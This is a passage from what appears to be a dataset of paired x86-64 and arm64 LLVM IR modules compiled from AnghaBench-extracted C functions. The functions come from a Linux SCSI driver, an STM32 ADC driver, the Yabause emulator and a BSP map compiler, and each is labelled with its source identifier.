!{!14, !8, i64 0} !16 = !{!8, !8, i64 0} !17 = distinct !{!17, !18} !18 = !{!"llvm.loop.mustprogress"}
fastdfs_storage_extr_storage_global.c_storage_insert_ip_addr_to_multi_ips
; ModuleID = 'AnghaBench/linux/drivers/scsi/bfa/extr_bfad_bsg.c_bfad_iocmd_fcpim_get_del_itn_stats.c' source_filename = "AnghaBench/linux/drivers/scsi/bfa/extr_bfad_bsg.c_bfad_iocmd_fcpim_get_del_itn_stats.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.bfad_s = type { i32, i32 } %struct.bfa_bsg_fcpim_del_itn_stats_s = type { i32, i32 } @BFA_STATUS_OK = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local noundef i32 @bfad_iocmd_fcpim_get_del_itn_stats(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = getelementptr inbounds %struct.bfad_s, ptr %0, i64 0, i32 1 %4 = tail call ptr @BFA_FCPIM(ptr noundef nonnull %3) #2 %5 = tail call i32 @spin_lock_irqsave(ptr noundef %0, i64 noundef undef) #2 %6 = getelementptr inbounds %struct.bfa_bsg_fcpim_del_itn_stats_s, ptr %1, i64 0, i32 1 %7 = tail call i32 @memcpy(ptr noundef nonnull %6, ptr noundef %4, i32 noundef 4) #2 %8 = tail call i32 @spin_unlock_irqrestore(ptr noundef %0, i64 noundef undef) #2 %9 = load i32, ptr @BFA_STATUS_OK, align 4, !tbaa !5 store i32 %9, ptr %1, align 4, !tbaa !9 ret i32 0 } declare ptr @BFA_FCPIM(ptr noundef) local_unnamed_addr #1 declare i32 @spin_lock_irqsave(ptr noundef, i64 noundef) local_unnamed_addr #1 declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @spin_unlock_irqrestore(ptr noundef, i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !6, i64 0} !10 = !{!"bfa_bsg_fcpim_del_itn_stats_s", !6, i64 0, !6, i64 4}
; ModuleID = 'AnghaBench/linux/drivers/scsi/bfa/extr_bfad_bsg.c_bfad_iocmd_fcpim_get_del_itn_stats.c' source_filename = "AnghaBench/linux/drivers/scsi/bfa/extr_bfad_bsg.c_bfad_iocmd_fcpim_get_del_itn_stats.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @BFA_STATUS_OK = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define noundef i32 @bfad_iocmd_fcpim_get_del_itn_stats(ptr noundef %0, ptr noundef %1) local_unnamed_addr #0 { %3 = getelementptr inbounds i8, ptr %0, i64 4 %4 = tail call ptr @BFA_FCPIM(ptr noundef nonnull %3) #2 %5 = tail call i32 @spin_lock_irqsave(ptr noundef %0, i64 noundef undef) #2 %6 = getelementptr inbounds i8, ptr %1, i64 4 %7 = tail call i32 @memcpy(ptr noundef nonnull %6, ptr noundef %4, i32 noundef 4) #2 %8 = tail call i32 @spin_unlock_irqrestore(ptr noundef %0, i64 noundef undef) #2 %9 = load i32, ptr @BFA_STATUS_OK, align 4, !tbaa !6 store i32 %9, ptr %1, align 4, !tbaa !10 ret i32 0 } declare ptr @BFA_FCPIM(ptr noundef) local_unnamed_addr #1 declare i32 @spin_lock_irqsave(ptr noundef, i64 noundef) local_unnamed_addr #1 declare i32 @memcpy(ptr noundef, ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @spin_unlock_irqrestore(ptr noundef, i64 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 0} !11 = !{!"bfa_bsg_fcpim_del_itn_stats_s", !7, i64 0, !7, i64 4}
linux_drivers_scsi_bfa_extr_bfad_bsg.c_bfad_iocmd_fcpim_get_del_itn_stats
; ModuleID = 'AnghaBench/Provenance/Cores/Yabause/yabause/src/extr_scu.c_disd1bussrc.c' source_filename = "AnghaBench/Provenance/Cores/Yabause/yabause/src/extr_scu.c_disd1bussrc.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @.str = private unnamed_addr constant [3 x i8] c"M0\00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"M1\00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"M2\00", align 1 @.str.3 = private unnamed_addr constant [3 x i8] c"M3\00", align 1 @.str.4 = private unnamed_addr constant [4 x i8] c"MC0\00", align 1 @.str.5 = private unnamed_addr constant [4 x i8] c"MC1\00", align 1 @.str.6 = private unnamed_addr constant [4 x i8] c"MC2\00", align 1 @.str.7 = private unnamed_addr constant [4 x i8] c"MC3\00", align 1 @.str.8 = private unnamed_addr constant [4 x i8] c"ALL\00", align 1 @.str.9 = private unnamed_addr constant [4 x i8] c"ALH\00", align 1 @.str.10 = private unnamed_addr constant [3 x i8] c"??\00", align 1 @llvm.compiler.used = appending global [1 x ptr] [ptr @disd1bussrc], section "llvm.metadata" @reltable.disd1bussrc = private unnamed_addr constant [11 x i32] [i32 trunc (i64 sub (i64 ptrtoint (ptr @.str to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.1 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.2 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.3 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.4 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.5 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.6 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.7 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.10 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.8 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32), i32 trunc (i64 sub (i64 ptrtoint (ptr @.str.9 to i64), i64 ptrtoint (ptr @reltable.disd1bussrc to i64)) to i32)], align 4 ; Function Attrs: mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable define internal noundef nonnull ptr @disd1bussrc(i32 noundef %0) #0 { %2 = icmp ult i32 %0, 11 br i1 %2, label %3, label %7 3: ; preds = %1 %4 = zext nneg i32 %0 to i64 %5 = shl i64 %4, 2 %6 = call ptr @llvm.load.relative.i64(ptr @reltable.disd1bussrc, i64 %5) br label %7 7: ; preds = %1, %3 %8 = phi ptr [ %6, %3 ], [ @.str.10, %1 ] ret ptr %8 } ; Function Attrs: nocallback nofree nosync nounwind willreturn memory(argmem: read) declare ptr @llvm.load.relative.i64(ptr, i64) #1 attributes #0 = { mustprogress nofree norecurse nosync nounwind willreturn memory(none) uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nosync nounwind willreturn memory(argmem: read) } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
; ModuleID = 'AnghaBench/Provenance/Cores/Yabause/yabause/src/extr_scu.c_disd1bussrc.c' source_filename = "AnghaBench/Provenance/Cores/Yabause/yabause/src/extr_scu.c_disd1bussrc.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [3 x i8] c"M0\00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"M1\00", align 1 @.str.2 = private unnamed_addr constant [3 x i8] c"M2\00", align 1 @.str.3 = private unnamed_addr constant [3 x i8] c"M3\00", align 1 @.str.4 = private unnamed_addr constant [4 x i8] c"MC0\00", align 1 @.str.5 = private unnamed_addr constant [4 x i8] c"MC1\00", align 1 @.str.6 = private unnamed_addr constant [4 x i8] c"MC2\00", align 1 @.str.7 = private unnamed_addr constant [4 x i8] c"MC3\00", align 1 @.str.8 = private unnamed_addr constant [4 x i8] c"ALL\00", align 1 @.str.9 = private unnamed_addr constant [4 x i8] c"ALH\00", align 1 @.str.10 = private unnamed_addr constant [3 x i8] c"??\00", align 1 @llvm.used = appending global [1 x ptr] [ptr @disd1bussrc], section "llvm.metadata" @switch.table.disd1bussrc = private unnamed_addr constant [11 x ptr] [ptr @.str, ptr @.str.1, ptr @.str.2, ptr @.str.3, ptr @.str.4, ptr @.str.5, ptr @.str.6, ptr @.str.7, ptr @.str.10, ptr @.str.8, ptr @.str.9], align 8 ; Function Attrs: mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) define internal noundef nonnull ptr @disd1bussrc(i32 noundef %0) #0 { %2 = icmp ult i32 %0, 11 br i1 %2, label %3, label %7 3: ; preds = %1 %4 = zext nneg i32 %0 to i64 %5 = getelementptr inbounds [11 x ptr], ptr @switch.table.disd1bussrc, i64 0, i64 %4 %6 = load ptr, ptr %5, align 8 br label %7 7: ; preds = %1, %3 %8 = phi ptr [ %6, %3 ], [ @.str.10, %1 ] ret ptr %8 } attributes #0 = { mustprogress nofree norecurse nosync nounwind ssp willreturn memory(none) uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
Provenance_Cores_Yabause_yabause_src_extr_scu.c_disd1bussrc
; ModuleID = 'AnghaBench/linux/drivers/iio/adc/extr_stm32-adc.c_stm32_adc_conv_irq_enable.c' source_filename = "AnghaBench/linux/drivers/iio/adc/extr_stm32-adc.c_stm32_adc_conv_irq_enable.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_4__ = type { i32, i32 } @llvm.compiler.used = appending global [1 x ptr] [ptr @stm32_adc_conv_irq_enable], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @stm32_adc_conv_irq_enable(ptr noundef %0) #0 { %2 = load ptr, ptr %0, align 8, !tbaa !5 %3 = load ptr, ptr %2, align 8, !tbaa !10 %4 = getelementptr inbounds %struct.TYPE_4__, ptr %3, i64 0, i32 1 %5 = load i32, ptr %4, align 4, !tbaa !12 %6 = load i32, ptr %3, align 4, !tbaa !16 %7 = tail call i32 @stm32_adc_set_bits(ptr noundef nonnull %0, i32 noundef %5, i32 noundef %6) #2 ret void } declare i32 @stm32_adc_set_bits(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"stm32_adc", !7, i64 0} !7 = !{!"any pointer", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 0} !11 = !{!"TYPE_6__", !7, i64 0} !12 = !{!13, !15, i64 4} !13 = !{!"TYPE_5__", !14, i64 0} !14 = !{!"TYPE_4__", !15, i64 0, !15, i64 4} !15 = !{!"int", !8, i64 0} !16 = !{!13, !15, i64 0}
; ModuleID = 'AnghaBench/linux/drivers/iio/adc/extr_stm32-adc.c_stm32_adc_conv_irq_enable.c' source_filename = "AnghaBench/linux/drivers/iio/adc/extr_stm32-adc.c_stm32_adc_conv_irq_enable.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @stm32_adc_conv_irq_enable], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @stm32_adc_conv_irq_enable(ptr noundef %0) #0 { %2 = load ptr, ptr %0, align 8, !tbaa !6 %3 = load ptr, ptr %2, align 8, !tbaa !11 %4 = getelementptr inbounds i8, ptr %3, i64 4 %5 = load i32, ptr %4, align 4, !tbaa !13 %6 = load i32, ptr %3, align 4, !tbaa !17 %7 = tail call i32 @stm32_adc_set_bits(ptr noundef nonnull %0, i32 noundef %5, i32 noundef %6) #2 ret void } declare i32 @stm32_adc_set_bits(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"stm32_adc", !8, i64 0} !8 = !{!"any pointer", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !8, i64 0} !12 = !{!"TYPE_6__", !8, i64 0} !13 = !{!14, !16, i64 4} !14 = !{!"TYPE_5__", !15, i64 0} !15 = !{!"TYPE_4__", !16, i64 0, !16, i64 4} !16 = !{!"int", !9, i64 0} !17 = !{!14, !16, i64 0}
linux_drivers_iio_adc_extr_stm32-adc.c_stm32_adc_conv_irq_enable
; ModuleID = 'AnghaBench/lab/engine/code/bspc/extr_l_poly.c_BaseWindingForPlane.c' source_filename = "AnghaBench/lab/engine/code/bspc/extr_l_poly.c_BaseWindingForPlane.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" %struct.TYPE_4__ = type { ptr, i32 } @BOGUS_RANGE = dso_local local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [35 x i8] c"BaseWindingForPlane: no axis found\00", align 1 @vec3_origin = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local noundef ptr @BaseWindingForPlane(ptr noundef %0, i32 noundef %1) local_unnamed_addr #0 { %3 = load i32, ptr @BOGUS_RANGE, align 4, !tbaa !5 %4 = sub nsw i32 0, %3 %5 = load i32, ptr %0, align 4, !tbaa !5 %6 = tail call i32 @fabs(i32 noundef %5) #3 %7 = icmp sle i32 %6, %4 %8 = tail call i32 @llvm.smax.i32(i32 %6, i32 %4) %9 = getelementptr inbounds i32, ptr %0, i64 1 %10 = load i32, ptr %9, align 4, !tbaa !5 %11 = tail call i32 @fabs(i32 noundef %10) #3 %12 = icmp sle i32 %11, %8 %13 = tail call i32 @llvm.smax.i32(i32 %11, i32 %8) %14 = getelementptr inbounds i32, ptr %0, i64 2 %15 = load i32, ptr %14, align 4, !tbaa !5 %16 = tail call i32 @fabs(i32 noundef %15) #3 %17 = icmp sle i32 %16, %13 %18 = select i1 %17, i1 %12, i1 false %19 = select i1 %18, i1 %7, i1 false br i1 %19, label %20, label %22 20: ; preds = %2 %21 = tail call i32 @Error(ptr noundef nonnull @.str) #3 br label %22 22: ; preds = %20, %2 %23 = load i32, ptr @vec3_origin, align 4, !tbaa !5 %24 = tail call i32 @VectorCopy(i32 noundef %23, ptr noundef undef) #3 %25 = tail call i32 @DotProduct(ptr noundef undef, ptr noundef nonnull %0) #3 %26 = sub nsw i32 0, %25 %27 = tail call i32 @VectorMA(ptr noundef undef, i32 noundef %26, ptr noundef nonnull %0, ptr noundef undef) #3 %28 = tail call i32 @VectorNormalize(ptr noundef undef) #3 %29 = tail call i32 @VectorScale(ptr noundef nonnull %0, i32 noundef %1, ptr noundef undef) #3 %30 = tail call i32 @CrossProduct(ptr noundef undef, ptr noundef nonnull %0, ptr noundef undef) #3 %31 = load i32, ptr @BOGUS_RANGE, align 4, !tbaa !5 %32 = tail call i32 @VectorScale(ptr noundef undef, i32 noundef %31, ptr noundef undef) #3 %33 = load i32, ptr @BOGUS_RANGE, align 4, !tbaa !5 %34 = tail call i32 @VectorScale(ptr noundef undef, i32 noundef %33, ptr noundef undef) #3 %35 = tail call ptr @AllocWinding(i32 noundef 4) #3 %36 = load ptr, ptr %35, align 8, !tbaa !9 %37 = load ptr, ptr %36, align 8, !tbaa !12 %38 = tail call i32 @VectorSubtract(ptr noundef undef, ptr noundef undef, ptr noundef %37) #3 %39 = load ptr, ptr %35, align 8, !tbaa !9 %40 = load ptr, ptr %39, align 8, !tbaa !12 %41 = tail call i32 @VectorAdd(ptr noundef %40, ptr noundef undef, ptr noundef %40) #3 %42 = load ptr, ptr %35, align 8, !tbaa !9 %43 = getelementptr inbounds ptr, ptr %42, i64 1 %44 = load ptr, ptr %43, align 8, !tbaa !12 %45 = tail call i32 @VectorAdd(ptr noundef undef, ptr noundef undef, ptr noundef %44) #3 %46 = load ptr, ptr %35, align 8, !tbaa !9 %47 = getelementptr inbounds ptr, ptr %46, i64 1 %48 = load ptr, ptr %47, align 8, !tbaa !12 %49 = tail call i32 @VectorAdd(ptr noundef %48, ptr noundef undef, ptr noundef %48) #3 %50 = load ptr, ptr %35, align 8, !tbaa !9 %51 = getelementptr inbounds ptr, ptr %50, i64 2 %52 = load ptr, ptr %51, align 8, !tbaa !12 %53 = tail call i32 @VectorAdd(ptr noundef undef, ptr noundef undef, ptr noundef %52) #3 %54 = load ptr, ptr %35, align 8, !tbaa !9 %55 = getelementptr inbounds ptr, ptr %54, i64 2 %56 = load ptr, ptr %55, align 8, !tbaa !12 %57 = tail call i32 @VectorSubtract(ptr noundef %56, ptr noundef undef, ptr noundef %56) #3 %58 = load ptr, ptr %35, align 8, !tbaa !9 %59 = getelementptr inbounds ptr, ptr %58, i64 3 %60 = load ptr, ptr %59, align 8, !tbaa !12 %61 = tail call i32 @VectorSubtract(ptr noundef undef, ptr noundef undef, ptr noundef %60) #3 %62 = load ptr, ptr %35, align 8, !tbaa !9 %63 = getelementptr inbounds ptr, ptr %62, i64 3 %64 = load ptr, ptr %63, align 8, !tbaa !12 %65 = tail call i32 @VectorSubtract(ptr noundef %64, ptr noundef undef, ptr noundef %64) #3 %66 = getelementptr inbounds %struct.TYPE_4__, ptr %35, i64 0, i32 1 store i32 4, ptr %66, align 8, !tbaa !13 ret ptr %35 } declare i32 @fabs(i32 noundef) local_unnamed_addr #1 declare i32 @Error(ptr noundef) local_unnamed_addr #1 declare i32 @VectorCopy(i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @DotProduct(ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @VectorMA(ptr noundef, i32 noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @VectorNormalize(ptr noundef) local_unnamed_addr #1 declare i32 @VectorScale(ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1 declare i32 @CrossProduct(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare ptr @AllocWinding(i32 noundef) local_unnamed_addr #1 declare i32 @VectorSubtract(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare i32 @VectorAdd(ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare i32 @llvm.smax.i32(i32, i32) #2 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !11, i64 0} !10 = !{!"TYPE_4__", !11, i64 0, !6, i64 8} !11 = !{!"any pointer", !7, i64 0} !12 = !{!11, !11, i64 0} !13 = !{!10, !6, i64 8}
; ModuleID = 'AnghaBench/lab/engine/code/bspc/extr_l_poly.c_BaseWindingForPlane.c' source_filename = "AnghaBench/lab/engine/code/bspc/extr_l_poly.c_BaseWindingForPlane.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @BOGUS_RANGE = common local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [35 x i8] c"BaseWindingForPlane: no axis found\00", align 1 @vec3_origin = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define noundef ptr @BaseWindingForPlane(ptr noundef %0, i32 noundef %1) local_unnamed_addr #0 { %3 = load i32, ptr @BOGUS_RANGE, align 4, !tbaa !6 %4 = sub nsw i32 0, %3 %5 = load i32, ptr %0, align 4, !tbaa !6 %6 = tail call i32 @fabs(i32 noundef %5) #3 %7 = icmp sle i32 %6, %4 %8 = tail call i32 @llvm.smax.i32(i32 %6, i32 %4) %9 = getelementptr inbounds i8, ptr %0, i64 4 %10 = load i32, ptr %9, align 4, !tbaa !6 %11 = tail call i32 @fabs(i32 noundef %10) #3 %12 = icmp sle i32 %11, %8 %13 = tail call i32 @llvm.smax.i32(i32 %11, i32 %8) %14 = getelementptr inbounds i8, ptr %0, i64 8 %15 = load i32, ptr %14, align 4, !tbaa !6 %16 = tail call i32 @fabs(i32 noundef %15) #3 %17 = icmp sle i32 %16, %13 %18 = and i1 %12, %7 %19 = select i1 %17, i1 %18, i1 false br i1 %19, label %20, label %22 20: ; preds = %2 %21 = tail call i32 @Error(ptr noundef nonnull @.str) #3 br label %22 22: ; preds = %20, %2 %23 = load i32, ptr @vec3_origin, align 4, !tbaa !6 %24 = tail call i32 @VectorCopy(i32 noundef %23, ptr noundef undef) #3 %25 = tail call i32 @DotProduct(ptr noundef undef, ptr noundef nonnull %0) #3 %26 = sub nsw i32 0, %25 %27 = tail call i32 @VectorMA(ptr noundef undef, i32 noundef %26, ptr noundef nonnull %0, ptr noundef undef) #3 %28 = tail call i32 @VectorNormalize(ptr noundef undef) #3 %29 = tail call i32 @VectorScale(ptr noundef nonnull %0, i32 noundef %1, ptr noundef undef) #3 %30 = tail call i32 @CrossProduct(ptr noundef undef, ptr noundef nonnull %0, ptr noundef undef) #3 %31 = load i32, ptr @BOGUS_RANGE, align 4, !tbaa !6 %32 = tail call i32 @VectorScale(ptr noundef undef, i32 noundef %31, ptr noundef undef) #3 %33 = load i32, ptr @BOGUS_RANGE, align 4, !tbaa !6 %34 = tail call i32 @VectorScale(ptr noundef undef, i32 noundef %33, ptr noundef undef) #3 %35 = tail call ptr @AllocWinding(i32 noundef 4) #3 %36 = load ptr, 